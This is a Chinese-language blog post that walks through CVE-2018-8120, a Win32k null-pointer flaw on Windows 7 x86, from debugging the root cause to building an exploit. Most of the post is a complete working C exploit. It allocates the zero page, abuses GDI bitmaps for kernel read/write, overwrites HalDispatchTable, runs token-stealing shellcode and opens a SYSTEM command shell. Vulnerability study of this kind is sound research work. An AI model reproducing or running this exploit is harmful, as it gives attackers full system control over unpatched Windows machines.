CVE-2018-8120

1、前言


借着这次来成都轮岗的机会跟tp老哥好好学习一下漏洞,这个cve-2018-8120准备从头到尾好好调试一下。

2、实验环境


  • windows7 x86 sp1
  • Windbg
  • IDA
  • ProcessHacker

3、漏洞成因


Win32k!SetImeInfoEx中在使用Win32k!TagWindowStation对象中的spklList成员时并没有进行判断。

 通过交叉引用发现NtUserSetImeInfoEx调用了这个函数。

  由于我们通过CreateWindowStationWin32k!TagWindowStation.spklList默认为0,因此我们使用SetProcessWindowStation将我们创建的Win32k!TagWindowStation对象绑定到当前程序窗口,在通过手动调用NtSetUserImeInfoEx,就会造成0地址访问而蓝屏。

4、实验


通过PCHunter找到NtSetUserImeInfoEx的序号然后根据不同版本系统构造不同的系统调用(通过OD观察)。

 

知道序号和系统调用方式后编写代码触发漏洞。

成功触发蓝屏

5、利用


  由于在Win7中我们可以通过NtAllocateVirtualMemory申请到0地址的空间,所以我们就有了控制SetImeInfoEx中a1的能力,其中参数a2则是我们传给NtUserSetImeInfoEx的数组。因此我们就能利用SetImeInfoEx中memcpy来进行任意地址写,但由于memcpy写的长度固定不可控,因此直接覆盖HalDispatchTable会造成其他相邻数据被破坏。这里利用BitMap内核读写(不要问我怎么知道的,问就是跟大佬学的)。

  • 0地址页面利用NtAllocateVirtualMemory
1 PVOID baseAddress = 0x100;
2 PVOID RegionSize = 0x1000;
3 _ZwAllocateVirtualMemory ZwAllocateVirtualMemory = 0;
4 ZwAllocateVirtualMemory = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwAllocateVirtualMemory");
5 ZwAllocateVirtualMemory(GetCurrentProcess(), &baseAddress, NULL, &RegionSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
  • HalDispatchTable利用ZwQuerySystemInformation找到内核模块后加载查导出表
 1     DWORD SysModuleSize;
 2     PVOID NtKernelAddr;
 3     PVOID NtKernelAddr_InUser;
 4     PVOID HalDispatchTable;
 5     char* ImageName;
 6     char NtKernelImageName[256] = {0};
 7     PSYSTEM_MODULE_INFORMATION SysModule;
 8     _ZwQuerySystemInformation ZwQuerySystemInformation;
 9     
10     ZwQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation");
11     ZwQuerySystemInformation(11, NULL, NULL, &SysModuleSize);
12     SysModule = malloc(SysModuleSize);
13     ZwQuerySystemInformation(11, SysModule, SysModuleSize, &SysModuleSize);
14 
15     NtKernelAddr = SysModule->Module[0].Base;
16     strcpy_s(NtKernelImageName, 256, SysModule->Module[0].ImageName);
17     ImageName = strrchr(NtKernelImageName, '\') + 1;
18     NtKernelAddr_InUser = LoadLibrary(ImageName);
19     HalDispatchTable = GetProcAddress(NtKernelAddr_InUser, "HalDispatchTable");
20     HalDispatchTable = (PVOID)((DWORD)HalDispatchTable - (DWORD)NtKernelAddr_InUser + (DWORD)NtKernelAddr);
  • BitMap内核对象泄露

  从网上的资料来看,我们在用户层调用CreateBitMap后返回的句柄低两字节是一个指向GdiCell结构的索引,而这个结构指针保存在PEB.GdiSharedHandleTable。

1 typedef struct _GdiCell
2 {
3     PVOID pKernelAddress;
4     UINT16 wProcessIdl;
5     UINT16 wCount;
6     UINT16 wUpper;
7     UINT16 uType;
8     PVOID pUserAddress;
9 }GdiCell,*pGdiCell;

  在分析SetBitMapBits时,在NtGdiSetBitMapBits里面找到了将句柄转换为内核对象的代码。发现这个计算方法和网上公开的一样,我们有理由怀疑这个GdiSharedHandleTable_InKernel和PEB.GdiSharedHandleTable是同一个数组。经过在WIndbg中进行验证(如下图)的确为同一个数组,经Windbg验证是同一物理页面在用户空间也映射了一份。

 

结合ReactOS和网上的资料可以看到SetBitMapBits和GetBitMapBits是操作的SURFOBJ中的pvScan0成员。

  但是由于漏洞中的memcpy大小不可控,所以回覆盖一部分的SURFOBJ成员,所以我们需要修复某些在Set/GetBitMapBits时所必须的成员(需要修复的值是可以在bDoGetSetBitmapBits中分析得出,这里我直接抄的别人的...)。

 

  • 完整代码
  1 #include<stdio.h>
  2 #include<windows.h>
  3 
  4 
  5 int syscall_index = 0x1226;
  6 #define PEB_GdiSharedHandleTable 0x94  //win7 x86 sp1
  7 
  8 typedef struct _GdiCell
  9 {
 10     PVOID pKernelAddress;
 11     UINT16 wProcessIdl;
 12     UINT16 wCount;
 13     UINT16 wUpper;
 14     UINT16 uType;
 15     PVOID pUserAddress;
 16 }GdiCell,*pGdiCell;
 17 
 18 typedef NTSTATUS  (__stdcall *_ZwAllocateVirtualMemory)(
 19     _In_    HANDLE    ProcessHandle,
 20     _Inout_ PVOID* BaseAddress,
 21     _In_    ULONG_PTR ZeroBits,
 22     _Inout_ PSIZE_T   RegionSize,
 23     _In_    ULONG     AllocationType,
 24     _In_    ULONG     Protect
 25 );
 26 
 27 typedef NTSTATUS (__stdcall*_ZwQuerySystemInformation)(
 28     _In_      DWORD SystemInformationClass,
 29     _Inout_   PVOID                    SystemInformation,
 30     _In_      ULONG                    SystemInformationLength,
 31     _Out_opt_ PULONG                   ReturnLength
 32 );
 33 
 34 
 35 typedef NTSTATUS(WINAPI* _NtQueryIntervalProfile)(IN ULONG   ProfileSource,
 36     OUT PULONG Interval);
 37 
 38 
 39 typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
 40     HANDLE Section;
 41     PVOID MappedBase;
 42     PVOID Base;
 43     ULONG Size;
 44     ULONG Flags;
 45     USHORT LoadOrderIndex;
 46     USHORT InitOrderIndex;
 47     USHORT LoadCount;
 48     USHORT PathLength;
 49     CHAR ImageName[256];
 50 } SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
 51 
 52 typedef struct _SYSTEM_MODULE_INFORMATION {
 53     ULONG Count;
 54     SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
 55 } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
 56 
 57 
 58 
 59 void __declspec(naked) NtSetUserImeEx(int a)
 60 {
 61     __asm
 62     {
 63         mov esi,a
 64         mov eax,syscall_index
 65         mov edx,0x7ffe0300
 66         call dword ptr[edx]
 67         ret 4
 68     }
 69 }
 70 
 71 void __declspec(naked) GetSystemToken()
 72 {
 73     __asm
 74     {
 75         pushad
 76         mov eax,fs:[0x124]  //CurrentThread
 77         mov eax,[eax+0x150] //Process  
 78         lea edx,[eax+0xf8]  //MyProcess.Token
 79 noFind:
 80         mov eax,[eax+0xb8]  //Eprocess.ActiveProcessLinks
 81         sub eax,0xb8        //next Eprocess struct
 82         mov ebx,[eax+0xb4]  //PID
 83         cmp ebx,4
 84         jnz noFind
 85         mov eax,[eax+0xf8]    //System.Token
 86         mov [edx],eax
 87         lock inc [eax]
 88         lock inc[eax]
 89         popad
 90         ret
 91     }
 92 }
 93 
 94 
 95 int main(int argc,char** argv)
 96 {
 97 
 98 //泄露内核对象地址
 99     DWORD Manage_kernel, Worker_kernel, bitMapKernelAddress;
100     HBITMAP hManage;
101     HBITMAP hWorker;
102 
103     hManage = CreateBitmap(5, 5, 5, 5, NULL);
104     hWorker = CreateBitmap(5, 5, 5, 5, NULL);
105     __asm
106     {
107         mov eax,fs:[0x30]
108         mov eax,[eax+ PEB_GdiSharedHandleTable]
109         mov bitMapKernelAddress,eax
110     }
111     Manage_kernel = *(DWORD*)(((DWORD)hManage & 0xffff) * sizeof(GdiCell) + bitMapKernelAddress); 
112     Worker_kernel = *(DWORD*)(((DWORD)hWorker & 0xffff) * sizeof(GdiCell) + bitMapKernelAddress);
113 
114     
115 
116 //获取HalDispatchTable表地址
117     DWORD SysModuleSize;
118     PVOID NtKernelAddr;
119     PVOID NtKernelAddr_InUser;
120     PVOID HalDispatchTable;
121     char* ImageName;
122     char NtKernelImageName[256] = {0};
123     PSYSTEM_MODULE_INFORMATION SysModule;
124     _ZwQuerySystemInformation ZwQuerySystemInformation;
125     
126     ZwQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation");
127     ZwQuerySystemInformation(11, NULL, NULL, &SysModuleSize);
128     SysModule = malloc(SysModuleSize);
129     ZwQuerySystemInformation(11, SysModule, SysModuleSize, &SysModuleSize);
130 
131     NtKernelAddr = SysModule->Module[0].Base;
132     strcpy_s(NtKernelImageName, 256, SysModule->Module[0].ImageName);
133     ImageName = strrchr(NtKernelImageName, '\') + 1;
134     NtKernelAddr_InUser = LoadLibrary(ImageName);
135     HalDispatchTable = GetProcAddress(NtKernelAddr_InUser, "HalDispatchTable");
136     HalDispatchTable = (PVOID)((DWORD)HalDispatchTable - (DWORD)NtKernelAddr_InUser + (DWORD)NtKernelAddr);
137     (DWORD)HalDispatchTable += 4;
138 
139 //申请0地址内存并构造SURFOBJ,使Manage.pvScan0 = &Worker.pvScan0
140     DWORD* p = NULL;
141     PVOID baseAddress = 0x100;
142     PVOID RegionSize = 0x1000;
143     _ZwAllocateVirtualMemory ZwAllocateVirtualMemory = 0;
144     ZwAllocateVirtualMemory = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwAllocateVirtualMemory");
145     ZwAllocateVirtualMemory(GetCurrentProcess(), &baseAddress, NULL, &RegionSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
146     
147 
148     DWORD ime[0x57] = {0x90};
149     HWINSTA hsta = CreateWindowStation(0, 0, READ_CONTROL, 0);
150     SetProcessWindowStation(hsta);
151 
152     *(p + 5) = (Worker_kernel + 0x10 + 0x20);  //sizeof(SURFACE.BASEOBJECT) = 0x10
153                                                //offset(SURFOBJ.pvScan0) = 0x20
154     ime[0] = (Worker_kernel + 0x10 + 0x20);    //while ( p[5] != *ime )
155 
156     *(p + 0xb) = (Manage_kernel + 0x10 + 0x20);   //v4 = (_DWORD *)p[0xB];
157                         //if (!v4)
158                         //    return 0;
159     //fix some member what Set/GetBitMapBits use
160 
161     DWORD* pp = (DWORD*)& ime[1];                //以下是要修复的一些成员
162     pp[0] = 0x180;
163     pp[1] = 0xabcd;
164     pp[2] = 6;
165     pp[3] = 0x10000;
166     pp[5] = 0x4800200;
167 
168 
169 
170 //触发漏洞
171     NtSetUserImeEx(&ime);
172 
173     DWORD oldHalDispatchTable;
174     PVOID ShellCode= GetSystemToken;
175     SetBitmapBits(hManage, 4, &HalDispatchTable);
176     GetBitmapBits(hWorker, 4, &oldHalDispatchTable);
177     SetBitmapBits(hWorker, 4, &ShellCode);
178 
179     _NtQueryIntervalProfile NtQueryIntervalProfile;
180     ULONG Interval = 0;
181     NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");
182     NtQueryIntervalProfile(0x1337, &Interval);
183     SetBitmapBits(hWorker, 4, &oldHalDispatchTable);
184 
185     system("cmd");
186 
187     return 0;
188 }
  • 效果截图

 6、参考资料


1 https://www.cnblogs.com/amaza/p/9557838.html#bitmap-gdi%E5%87%BD%E6%95%B0%E5%AE%9E%E7%8E%B0%E5%86%85%E6%A0%B8%E4%BB%BB%E6%84%8F%E5%9C%B0%E5%9D%80%E8%AF%BB%E5%86%99
2 https://www.freebuf.com/column/173797.html
3 https://bbs.pediy.com/thread-225436.htm

利用代码: <https://github.com/DreamoneOnly/CVE-2018-8120/tree/master>

原文地址:https://www.cnblogs.com/DreamoneOnly/p/11444172.html